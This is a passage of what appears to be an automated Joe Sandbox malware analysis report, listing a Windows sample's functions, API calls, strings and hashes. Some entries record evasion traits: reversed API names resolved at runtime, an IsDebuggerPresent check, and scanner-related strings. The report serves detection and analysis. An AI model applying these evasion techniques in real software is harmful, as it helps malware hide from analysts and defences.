Instruction Fuzzy Hash: 4351E776A0062D9BCB22EF58CC80BD9B3BDAF4C310F4049D5E509E7241D670AF859FA1

Function 02C33568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C3358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02C335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C335BD
RegCloseKey.ADVAPI32(?,02C335E0,00000000,?,00000004,00000000,02C335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C335D3

Strings

FPUMaskValue, xrefs: 02C335B4
SOFTWARE\Borland\Delphi\RTL, xrefs: 02C33580

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 82aca388bdd25c4647ebb4637bf456c56e225a0ac34865451210c4814984c531
Instruction ID: 0b342434a2abcecbe3b30433dc28f2d38b5a0328a8e2e7c0039e7d5b4f201a40
Opcode Fuzzy Hash: 82aca388bdd25c4647ebb4637bf456c56e225a0ac34865451210c4814984c531
Instruction Fuzzy Hash: 7F01B576944358BEE712DB90CD02BBD77FCEB48710F1009A1BA05E7580E675D610DA98

Function 02C480C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
GetProcAddress.KERNEL32(?,?), ref: 02C4812D

Strings

sserddAcorPteG, xrefs: 02C480E3
Kernel32, xrefs: 02C48110

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 0d788140306a305a8f6195daea772693f924d3d18cebf764bdea04ea2c4e92dc
Instruction ID: 48587fefb4ef0737ac743a98c3d6bd115b9af2fd2ca8a7f8289052ce4c0710ca
Opcode Fuzzy Hash: 0d788140306a305a8f6195daea772693f924d3d18cebf764bdea04ea2c4e92dc
Instruction Fuzzy Hash: 5B018B78A40304AFEB12EFA4DC42A9E77BEEB49720F514C65B40897A40DA70A900EA24

Function 02C3A9D8 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02C3AA6F,?,?,00000000), ref: 02C3A9F0

Part of subcall function 02C3A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C3A76A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02C3AA6F,?,?,00000000), ref: 02C3AA20
EnumCalendarInfoA.KERNEL32(Function_0000A924,00000000,00000000,00000004), ref: 02C3AA2B
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02C3AA6F,?,?,00000000), ref: 02C3AA49
EnumCalendarInfoA.KERNEL32(Function_0000A960,00000000,00000000,00000003), ref: 02C3AA54

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 7320ec197e3b211b531ed187c96daaabb1f3f4f65e11bef9d9d8b58cbe809ecb
Instruction ID: 71ae910bc3fee8c3422a483577526f9701e89786a730d3c77d49c9bc7b53af51
Opcode Fuzzy Hash: 7320ec197e3b211b531ed187c96daaabb1f3f4f65e11bef9d9d8b58cbe809ecb
Instruction Fuzzy Hash: 7C0126726806487FF703E7B48D12B6E736DDB42720FA14D70F641E66D0D6349E109EA8

Function 02C5BE87 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 210threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02C33538: GetKeyboardType.USER32(00000000), ref: 02C3353D
Part of subcall function 02C33538: GetKeyboardType.USER32(00000001), ref: 02C33549

GetCommandLineA.KERNEL32 ref: 02C5C06C
GetACP.KERNEL32 ref: 02C5C080
GetCurrentThreadId.KERNEL32 ref: 02C5C08A

Part of subcall function 02C33568: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C3358A
Part of subcall function 02C33568: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02C335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C335BD
Part of subcall function 02C33568: RegCloseKey.ADVAPI32(?,02C335E0,00000000,?,00000004,00000000,02C335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C335D3

Strings

p6X, xrefs: 02C5C071

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: KeyboardType$CloseCommandCurrentLineOpenQueryThreadValue
String ID: p6X
API String ID: 3316616684-1193081329
Opcode ID: 9eb1ccbdb4d2412e0e109ee0a51fbe25bc01af1e3143d23d1712b820b1e3a122
Instruction ID: 7d041d0a59ec8c4d5398dbd046002f27c16a96c8545397e788b3fcd5c08132dd
Opcode Fuzzy Hash: 9eb1ccbdb4d2412e0e109ee0a51fbe25bc01af1e3143d23d1712b820b1e3a122
Instruction Fuzzy Hash: 830140A08453C19DD703ABB4A9442593FA1AF033147088EC9D8844F252D7644159EFE6

Function 02C3AA88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02C3AC58,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02C3AAB7

Part of subcall function 02C3A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C3A76A

Strings

yyyy, xrefs: 02C3ABAD
eeee, xrefs: 02C3ABC6
ggg, xrefs: 02C3AB9D

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 9c21b2bab52f79e8e0187b97da352eaf06b5bc594005e111e46be5afcd28109f
Instruction ID: 4dac28bdc36a2644a955f884d8219530221eb5369bede26d3bb543431d3decd9
Opcode Fuzzy Hash: 9c21b2bab52f79e8e0187b97da352eaf06b5bc594005e111e46be5afcd28109f
Instruction Fuzzy Hash: 814116717049054BC72BAB6A98903BEB3EBEB86304B104E65D4E2C7344D739DE25DE21

Function 02C48020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Strings

AeldnaHeludoMteG, xrefs: 02C48039
KernelBASE, xrefs: 02C48059

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 940a0b72a6fe25de4b7d80aeaf4828df07af5f2c7ddf5a509348e9898876dc6d
Instruction ID: a436c2aa72a5bb063f7112b783f18415bde15388d2dc6a01d48c1ca3cae94254
Opcode Fuzzy Hash: 940a0b72a6fe25de4b7d80aeaf4828df07af5f2c7ddf5a509348e9898876dc6d
Instruction Fuzzy Hash: E2F06D71650304AFEB15EFA4DC06A5F77ADFB49B50B914A60F40893A10DA70BD10AAA4

Function 02C4EB94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02C4EF98,UacInitialize,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8,Initialize), ref: 02C4EB9A
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02C4EBAC

Strings

IsDebuggerPresent, xrefs: 02C4EBA6
KernelBase, xrefs: 02C4EB95

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: d6b9900660773215b13b0fa0724b1bd7e2204fc5617339e4e8b0f9b0237f6eb9
Instruction ID: 50c53b5d14de6b3eca0a0b74be4783f6b93ebddd65a665859ae07e810eee1991
Opcode Fuzzy Hash: d6b9900660773215b13b0fa0724b1bd7e2204fc5617339e4e8b0f9b0237f6eb9
Instruction Fuzzy Hash: 56D08CA2755B102EFA0236F40CC4C1F02CDA94557E3311FB1F023D20E2EEBAC912251C

Function 02C3C3FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02C5C10B,00000000,02C5C11E), ref: 02C3C402
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02C3C413

Strings

kernel32.dll, xrefs: 02C3C3FD
GetDiskFreeSpaceExA, xrefs: 02C3C40D

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 71116016c06f0e7badf08e4a1a20d8afb59c0ab4cd23d123224b005e17396179
Instruction ID: 030d351b909bcbc0cb7d0b4fdb7bd25a03656fb0cced5449c9294a99844b7861
Opcode Fuzzy Hash: 71116016c06f0e7badf08e4a1a20d8afb59c0ab4cd23d123224b005e17396179
Instruction Fuzzy Hash: 63D09EA0A413115EE7035AB5688073A26DC9B48765B506D36A053B5102D779C6645FD8

Function 02C3E170 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02C3E21F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02C3E23B
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02C3E2B2
VariantClear.OLEAUT32(?), ref: 02C3E2DB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 3b7898a9d6c98dedc408e9b152c3273dfae60fde3442c76c9b45bdd15c62694a
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: BA4108B5A0061D9BCB62DB59CC90BD9B3BDBF4C314F0049E5E649E7252DA31AF809F50

Function 02C3ACC4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02C3ACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02C3AD05
GetModuleFileNameA.KERNEL32(02C30000,?,00000105), ref: 02C3AD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02C3ADB6

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: d78f758516fbd19d17f8f49bfe8369bb35f620fbbeae9d43cb435327322ddb27
Instruction ID: 10ca8a6e76e1b62eae4df42b733eda2713567c07f34fd1b69f78c42a73ead1f2
Opcode Fuzzy Hash: d78f758516fbd19d17f8f49bfe8369bb35f620fbbeae9d43cb435327322ddb27
Instruction Fuzzy Hash: 3A416F71A40258AFDB22DB68CC84BDEB7FDAB18301F0048E5A648E7241DB759F98DF50

Function 02C3ACC2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02C3ACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02C3AD05
GetModuleFileNameA.KERNEL32(02C30000,?,00000105), ref: 02C3AD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02C3ADB6

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 987317bddc7cf7c690bda678ad7df33dca04c3acc1fe0371c5b275feb5f82f62
Instruction ID: 04cb20c451815ba27a90deb096f42b84afc9e51815b8e77c113a34513148b973
Opcode Fuzzy Hash: 987317bddc7cf7c690bda678ad7df33dca04c3acc1fe0371c5b275feb5f82f62
Instruction Fuzzy Hash: 92416F71A40258AFDB22DB68CC84BDAB7FDAB18301F0048E5A648E7341DB759F98DF54

Function 02C31C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dee088dcf62b5dd45a3468e945a78e853955b850268245b002326c9d09cc73f
Instruction ID: 9bcf1bf75baa17c1a7ec4a076eca1f1d55d491a04e79fd549319f9b7072699ad
Opcode Fuzzy Hash: 3dee088dcf62b5dd45a3468e945a78e853955b850268245b002326c9d09cc73f
Instruction Fuzzy Hash: 77A1E5767106000FE71AAA7D9C843BDB3C29BC5325F1C8A7EE11DCB381EBE5CA529650

Function 02C39474 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02C39562), ref: 02C394FA
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02C39562), ref: 02C39500

Strings

yyyy, xrefs: 02C394D5

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: e8cbe5347237f9231f1453603d22ee538a6ff92d5f52480513472a2ad1969d14
Instruction ID: 42bf79a3030425f2388e956dcce8472af4b7c7849ff9dcd2d3b24920c40a3695
Opcode Fuzzy Hash: e8cbe5347237f9231f1453603d22ee538a6ff92d5f52480513472a2ad1969d14
Instruction Fuzzy Hash: B4219172A002189FDB26DF98C841AEEB3B9EF48710F5148A5F905E7240D770DF40DBA5

Function 02C4818C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02C48216), ref: 02C481F8

Strings

Kernel32, xrefs: 02C481D7
FlushInstructionCache, xrefs: 02C481A5

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: de7bcf165989e69898ea97bb35779b866e2eb7b7921b34bf3f247a1841a8efb2
Instruction ID: 12752efd59256f4f74b27ab06736506f234e74a9d99720cceabbb88915c312ba
Opcode Fuzzy Hash: de7bcf165989e69898ea97bb35779b866e2eb7b7921b34bf3f247a1841a8efb2
Instruction Fuzzy Hash: 39018175650304BFEB25EFA4DC42F5F77ADEB48B10F614A60F908D3640DA74AD10AB24

Function 02C36444 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 02C3644D
TlsGetValue.KERNEL32(0000001D), ref: 02C36462

Strings

Z, xrefs: 02C36467

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AllocValue
String ID: Z
API String ID: 1189806713-3659616827
Opcode ID: c7afc902e072ce32c628bf018933150947fad0e85db6de1f90f7632155adcf30
Instruction ID: b50aed14cb4bcc2e0e16fa0301c5841a4d85ff1b6f364582e47b8402344f6603
Opcode Fuzzy Hash: c7afc902e072ce32c628bf018933150947fad0e85db6de1f90f7632155adcf30
Instruction Fuzzy Hash: D4C08CB0E80320AAEB02FBB0D00470932ADEB01344F208E20B404C710CDB35C090EF1C

Function 02C4AD64 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02C4AD98
IsBadWritePtr.KERNEL32(?,00000004), ref: 02C4ADC8
IsBadReadPtr.KERNEL32(?,00000008), ref: 02C4ADE7
IsBadReadPtr.KERNEL32(?,00000004), ref: 02C4ADF3

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

